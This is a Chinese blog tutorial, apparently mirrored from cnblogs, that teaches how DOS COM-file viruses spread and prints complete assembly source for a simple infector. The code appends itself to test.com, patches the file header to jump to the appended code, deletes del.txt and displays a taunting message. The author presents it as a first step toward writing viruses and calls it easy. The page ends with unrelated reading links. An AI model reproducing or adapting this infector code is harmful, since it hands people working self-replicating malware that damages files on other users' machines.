zoukankan      html  css  js  c++  java
  • 病毒制作初步

    病毒的编写是一种高深技术,真正的病毒一般都具有:传染性、隐藏性(又称潜 伏性)、破坏性。现在的病毒种类也不少,如平常的传染可执行文件的病毒、宏病毒等等。但原始的、破坏性最大的病毒还是传染可执行文件的病毒(像CIH病 毒),而这些病毒一般都是用汇编语言编写的。有许多人对病毒有着好奇和向往,但是往往又因为汇编语言的难学等问题望而却步。 这篇文章就是教给大家如何制作一个简单的程序,这个程序虽然算不上病毒但是具有病毒的传染性,而往往病毒的传染性是平常人最难做到的。 好啦,现在转入正题,先讲讲病毒是如何传染的,传染后又如何在被染的文件中执行的,其实道理非常简单:病毒一般将其代码写入执行文件的尾部,然后使执行文件在执行时先执行文件尾部的病毒代码,然后再跳回原代码处执行。现在举一个试例进行说明: ;----------------------------------------- ;功能:感染当前文件夹的test.com文件 ; 并删除当前文件夹的del.txt文件 ; 显示预设的字符串 CSEG SEGMENT ASSUME CS:CSEG,DS:CSEG,SS:CSEG main PROC NEAR mainstart: CALL vstart ;病毒的代码开始处 vstart: POP SI ;得到当前地址 MOV BP,SI ;保存当前地址 PUSH SI MOV AH,9 ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 MOV DX,SI INT 21h POP SI ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节 MOV DI,100h ;目的地址 MOV AX,DS:[SI] ;开始复制 MOV DS:[DI],AX INC SI INC SI INC DI INC DI MOV AX,DS:[SI] MOV DS:[DI],AX MOV SI,BP ;恢复地址值 MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 ADD DX,SI MOV AL,02 MOV AH,3dh ;写文件 INT 21h JC error MOV BX,AX ;文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 ADD DX,SI MOV CX,4 MOV AH,3fh INT 21h MOV AX,4202h ;到文件尾 XOR CX,CX XOR DX,DX INT 21h MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 ADD DI,2 ADD DI,SI SUB AX,4 MOV DS:[DI],AX ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒 MOV DX,SI MOV vsizes,OFFSET vends-OFFSET mainstart MOV CX,vsizes MOV AH,40h INT 21h MOV SI,BP ;定位到文件头 MOV AL,0 XOR CX,CX XOR DX,DX MOV AH,42h INT 21h MOV AH,40h ;将新的文件头写入 MOV CX,4 MOV DX,OFFSET new4byte-OFFSET vstart ADD DX,SI INT 21h MOV AH,3eh ;关闭文件 INT 21h error: MOV AX,100h PUSH AX RET main ENDP yuan4byte: RET DB 3 DUP (?) vsizes DW 0 new4byte DB ‘M‘,0e9h,0,0 filename DB "test.com",0 delname DB "del.txt",0 message DB "He he he he!" DB 0dh,0ah,"$" vends: start: MOV AX,CSEG MOV DS,AX MOV SS,AX CALL main MOV AX,4c00h INT 21h CSEG ENDS END start 以上就是一个简单的可以传染COM文件的程序代码, 也是想当初我所做的具有传染性质的第一个程序。如何???不难吧。 附: COM文件执行时将COM文件内所的所有内容COPY到内存, 起始地址是100,然后进行执行没有任何有关节啦、段啦这些属性,所以COM文件病毒是最简单最简单的病毒。
  • 相关阅读:
    判断字符中是否包含汉字
    since I lived here; since I have lived here. 的区别? 从语法上看, 为啥会有这样的区别?
    have married; have been married; 到底是结婚了没?还是已经离婚了?
    C#项目依据 x86 x64 配置不同的引用
    现在完成时可以表示过去事件对现在的影响/效果. 过去完成时也可以起相同的作用!!!!
    使用现在完成时的常见错误(转发)
    去除win10下的缺省ctrl加空格功能
    appear + 表语 与 appear to be + "表语" 的区别; get hurt与 get to be hurt的区别
    ssm搭建的一个web应用的工作流程
    return和finally究竟谁先执行,还有return是怎么返回数据的
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327058.html
Copyright © 2011-2022 走看看